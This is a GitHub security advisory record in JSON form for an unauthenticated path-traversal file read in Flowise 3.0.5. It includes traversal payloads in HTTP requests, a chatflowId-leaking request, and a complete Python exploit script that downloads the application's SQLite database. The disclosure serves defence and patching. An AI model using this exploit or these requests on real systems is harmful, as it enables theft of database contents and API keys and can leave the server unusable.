{"id":"GHSA-99pg-hqvx-r4gf","summary":"Flowise has an Arbitrary File Read","details":"### Summary\nAn arbitrary file read vulnerability in the `chatId` parameter supplied to both the `/api/v1/get-upload-file` and `/api/v1/openai-assistants-file/download` endpoints allows unauthenticated users to read unintended files on the local filesystem. In the default Flowise configuration this allows reading of the local sqlite db and subsequent compromise of all database content.\n\n### Details\nBoth the `/api/v1/get-upload-file` and `/api/v1/openai-assistants-file/download` endpoints accept the `chatId` parameter and pass this to a subsequent call to streamStorageFile().\n\n\n```\nconst chatflowId = req.query.chatflowId as string\nconst chatId = req.query.chatId as string\nconst fileName = req.query.fileName as string\n\n...\n const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId)\n```\n\nWhile streamStorageFile validates that the chatflowId is a UUID and strips traversal sequences from fileName, it performs no validation of chatId.\n\n\n```\n    // Validate chatflowId\n    if (!chatflowId || !isValidUUID(chatflowId)) {\n        throw new Error('Invalid chatflowId format - must be a valid UUID')\n    }\n\n    // Check for path traversal attempts\n    if (isPathTraversal(chatflowId)) {\n        throw new Error('Invalid path characters detected in chatflowId')\n    }\n...\n    const sanitizedFilename = sanitize(fileName)\n...\n\tconst filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename)\n```\n\nThere is validation that the resulting filePath is restricted to the `/root/.flowise/storage` directory.\n\n```\nif (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`)\n```\n\nHowever, if the file is not found in the specified path, the orgId value is removed from the filePath and reattempted.\n\n```\n        if (fs.existsSync(filePath)) {\n            return fs.createReadStream(filePath)\n        } else {\n            // Fallback: Check if file exists without orgId\n            const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename)\n\n            if (fs.existsSync(fallbackPath)) {\n                // Create directory if it doesn't exist\n                const dir = path.dirname(filePath)\n                if (!fs.existsSync(dir)) {\n                    fs.mkdirSync(dir, { recursive: true })\n                }\n\n                // Copy file to correct location with orgId\n                fs.copyFileSync(fallbackPath, filePath)\n\n                // Delete the old file\n                fs.unlinkSync(fallbackPath)\n\n                // Clean up empty directories recursively\n                _cleanEmptyLocalFolders(path.join(getStoragePath(), chatflowId, chatId))\n\n                return fs.createReadStream(filePath)\n\n```\n\nAs this fallback path is read after the `/root/.flowise/storage` check, this allows an additional level of traversal up to `/root/.flowise/`. As a result, this  allows reading of `/root/.flowise/database.sqlite`, which contains all database content in the default Flowise configuration.\n\nREQUEST\n```\nGET /api/v1/get-upload-file?chatflowId=188903b1-d06d-4f93-9415-400015b87146&chatId=../.././&fileName=database.sqlite HTTP/1.1\nHost: 127.0.0.1:3000\n\n```\n\nRESPONSE\n```\nHTTP/1.1 200 OK\nVary: Origin\nAccess-Control-Allow-Credentials: true\nContent-Disposition: attachment; filename=\"database.sqlite\"\nDate: Tue, 22 Jul 2025 06:43:51 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 385024\n\nSQLite format 3�\u0010�\u0001\u0001�@  ���6���^���A���\u0015���Õ���\u0004�����������\u0001�����������������������������������6�.r¢\u0005\u000fö�\u0006\u000fÚ����Z\u000fû\u000fì\u000fñ\u000fæ\u000fà\u000fÚ\u000fÛ\t\u000e\b�\u0007Ï\u0001l\u0007\u0096\u0007\n\u0005Í\u0005\u0082\u0004\u0090\u0004S\u0003=\u0004*\u0001'\u0001'���������������������������������������������������������������������������������������������������������������������������������������������;,\u0006\u0017O)\u0001�indexsqlite_autoindex_docume\n...\n```\n\nSimilarly, for `/api/v1/openai-assistants-file/download`:\nREQUEST\n```\nPOST /api/v1/openai-assistants-file/download HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nContent-Length: 100\n\n{\"chatflowId\":\"c5c63474-e757-4fca-a504-d54e84c309bb\",\"chatId\":\"/../..\",\"fileName\":\"database.sqlite\"}\n```\nRESPONSE\n```\nHTTP/1.1 200 OK\nVary: Origin\nAccess-Control-Allow-Credentials: true\nContent-Disposition: attachment; filename=\"database.sqlite\"\nDate: Tue, 22 Jul 2025 08:55:25 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 385024\n\nSQLite format 3�\u0010�\u0001\u0001�@  ���6���^���A���\u0015���Õ���\u0004�����������\u0001�����������������������������������6�.r¢\u0005\u000fö�\u0006\u000fÚ����Z\u000fû\u000fì\u000fñ\u000fæ\u000fà\u000fÚ\u000fÛ\t\n...\n```\n\nThis includes all API keys used by the application (apiKey table), which can be used to gain administrative access.\n\nAs the fallback logic attempts to move the file to the initially checked directory, this results in the server permanently being unable to make new read or write operations until the file is moved and the server is restarted.\n\nInteraction with these endpoints requires knowledge of a valid `chatflowId`. As a UUID, this is inherently unguessable. However, the `/api/v1/vector/upsert/` endpoint can be used without a chatflowId, defaulting to the first ID available. This endpoint returns a verbose error when receiving a malformed filename, revealing the full internal file path and the associated `chatflowId`.\n\n\nREQUEST\n```\nPOST /api/v1/vector/upsert/ HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Length: 172\nConnection: keep-alive\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"files\"; filename=\"?\"\nContent-Type: text/plain\n\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\n```\nRESPONSE\n```\nHTTP/1.1 500 Internal Server Error\nVary: Origin\nAccess-Control-Allow-Credentials: true\nContent-Type: application/json; charset=utf-8\nContent-Length: 240\nETag: W/\"f0-khSyqlT3NYLMJGjdchTl6Iwqe4U\"\nDate: Tue, 22 Jul 2025 08:14:20 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\n\n{\"statusCode\":500,\"success\":false,\"message\":\"Error: vectorsService.upsertVector - EISDIR: illegal operation on a directory, open '/root/.flowise/storage/07b5d2bd-9b5c-4de3-b234-4fe4357051c9/188903b1-d06d-4f93-9415-400015b87146'\",\"stack\":{}}\n```\nIn this case the UUID is revealed as `188903b1-d06d-4f93-9415-400015b87146`, which can then be used to exploit the file read vulnerability.\n\n### PoC\n\nRun Flowise:\n```\ndocker run --rm  -p 3000:3000 flowiseai/flowise\n```\nComplete install & create a Chatflow:\n\u003cimg width=\"575\" height=\"299\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1a34e809-b9b3-48a1-93b4-8dafccf87e3b\" /\u003e\n\nSave this script to `read.py`:\n```\nimport argparse\nimport re\nimport requests\n\ndef read_file(url, file_path, proxy):\n    base_url = url\n    proxies = {'http': proxy, 'https': proxy} if proxy else None\n\n    print(f\"\u003e\u003e starting exploit against {base_url}\")\n    if proxy:\n        print(f\"\u003e\u003e using proxy: {proxy}\")\n\n    try:\n        print(\"[*] step 1: leaking chatflowid\")\n        initial_headers = {}\n        files = {'files': ('?', 'asdf', 'text/plain')}\n        response = requests.post(f\"{base_url}/api/v1/vector/upsert/\", files=files, headers=initial_headers, timeout=10, proxies=proxies)\n        chatflow_id_matches = re.findall(r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})', response.json().get(\"message\", \"\"))\n        if len(chatflow_id_matches) \u003c 2:\n            print(\"[-] failed to leak chatflowid.\")\n            return\n        chatflow_id = chatflow_id_matches[1]\n        print(f\"[+] got chatflowid: {chatflow_id}\")\n\n        print(f\"[*] step 2: reading file: {file_path}\")\n        internal_headers = {'x-request-from': 'internal'}\n        params = {'chatflowId': chatflow_id, 'chatId': '/../../', 'fileName': file_path}\n        response = requests.get(f\"{base_url}/api/v1/get-upload-file\", params=params, headers=internal_headers, timeout=10, proxies=proxies)\n        \n        if response.status_code != 200:\n            print(f\"[-] failed to read file (status: {response.status_code}).\")\n            print(response.text)\n            return\n        \n        file_content = response.text\n        print(f\"[+] successfully read file ({len(response.content)} bytes).\")\n        print(\"\\n--- file content ---\")\n        print(file_content)\n        print(\"--------------------\\n\")\n\n    except requests.exceptions.RequestException as e:\n        print(f\"\\n[-] an unexpected error occurred: {e}\")\n    except Exception as e:\n        print(f\"\\n[-] an unexpected error occurred: {e}\")\n        return\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"Read arbitrary files\")\n    parser.add_argument(\"-u\", \"--url\", type=str, required=True, help=\"target base url (e.g., http://127.0.0.1:3000)\")\n    parser.add_argument(\"-f\", \"--file\", type=str, required=True, help=\"path of the file to read on the server (e.g., database.sqlite)\")\n    parser.add_argument(\"-x\", \"--proxy\", type=str, help=\"proxy to use (e.g., http://127.0.0.1:8080)\")\n\n    args = parser.parse_args()\n    read_file(args.url, args.file, args.proxy)\n```\n\nRun the script against `http://127.0.0.1:3000`:\n```\npython3 read.py -u http://127.0.0.1:3000 -f database.sqlite\n\u003e\u003e starting exploit against http://127.0.0.1:3000\n[*] step 1: leaking chatflowid\n[+] got chatflowid: c5c63474-e757-4fca-a504-d54e84c309bb\n[*] step 2: reading file: database.sqlite\n[+] successfully read file (385024 bytes).\n\n--- file content ---\nÕÇêS=*'';,O)indexsqlite_autoindex...\n\n```\n\n\n### Impact\n\nThis allows any unauthenticated user to extract all database content from a default installation of Flowise. This includes API keys, which can be used to gain administrative access.","aliases":["CVE-2025-71324"],"modified":"2026-07-21T20:00:29.979735284Z","published":"2025-09-15T20:00:39Z","database_specific":{"cwe_ids":["CWE-22"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2025-09-15T20:00:39Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-99pg-hqvx-r4gf"},{"type":"PACKAGE","url":"https://github.com/FlowiseAI/Flowise"}],"affected":[{"package":{"name":"flowise","ecosystem":"npm","purl":"pkg:npm/flowise"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.5"},{"fixed":"3.0.6"}]}],"versions":["3.0.5"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-99pg-hqvx-r4gf/GHSA-99pg-hqvx-r4gf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H"}]}